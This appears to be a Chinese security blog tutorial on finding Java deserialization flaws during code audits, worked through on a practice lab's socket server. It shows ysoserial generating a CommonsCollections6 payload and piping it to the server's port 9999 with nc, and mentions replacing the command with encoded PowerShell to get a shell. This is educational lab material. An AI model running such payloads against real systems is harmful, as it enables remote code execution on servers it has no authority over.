Java审计之反序列化挖掘

admin 2022年11月25日23:33:11评论59 views字数 952阅读3分10秒阅读模式

前置知识

首页你要了解什么是反序列化,需要用到哪些函数

如下图

Java审计之反序列化挖掘

java反射机制

在反序列化中,反射必不可少

让java具有动态性修改已有对象的属性动态生成对象动态调用方法操作内部类和私有方法
在反序列化中定制需要的对象通过invoke调用除了同名函数以外的函数通过class类创建对象,引入不能序列化的类


白盒审计序列化有哪些思路(个人理解)

1. 全局搜索 readObject writeObject OutputStream InputSream等这些关键字    然后寻找传输的变量,是写死的路径文件,还是单纯可控2. 针对c/s架构,利用socket进行消息接收与发送3. pom依赖中存在历史漏洞的框架,如fastjson,commons-collections4. 把数据存储到redis,mangodb,经过序列化存储与读取,也是搜索关键字

案例来自月师傅十月考核的java审计靶场

在github上可以搜到

https://github.com/mamenchisat/

首页是两个源码,客户端和服务端

客户端效果:

Java审计之反序列化挖掘

服务端效果:

Java审计之反序列化挖掘

故名思义,符合第二条,直接审计server端代码,不要问我为什么不审计客户端。

全局搜索关键字,代码量比较少,所以也容易理解,可见就两个

Java审计之反序列化挖掘

user作为一个用户,登陆用户,会存在序列化吗,不清楚,来点击user看看,所以不会存在

Java审计之反序列化挖掘

漏洞点就存在message里,对数据进行读取,没有任何限制

Java审计之反序列化挖掘

Java审计之反序列化挖掘

这里是可以看到的,有发送,有接收数据。

运行看看数据效果

Java审计之反序列化挖掘

Java审计之反序列化挖掘

此时已经知道了,服务器的9999端口可以发送任意数据

这时配合cc链进行攻击(自己测试需要在server中加入commons-collections-3.2.1的依赖,新建lib目录,放入jar,右键加入依赖)

使用ysoserial,生成数据

java -jar ysoserial-all.jar CommonsCollections6 "open -a calculator" > cc6.bin

使用cat查看,其实就是字节码

Java审计之反序列化挖掘

然后使用nc进行发送数据

cat cc6.bin|nc -v 192.168.1.2 9999

Java审计之反序列化挖掘

需要getshell的呢,把命令换成powershell 然后bash64编码即可上线。















原文始发于微信公众号(轩公子谈技术):Java审计之反序列化挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月25日23:33:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java审计之反序列化挖掘https://cn-sec.com/archives/1419810.html

发表评论

匿名网友 填写信息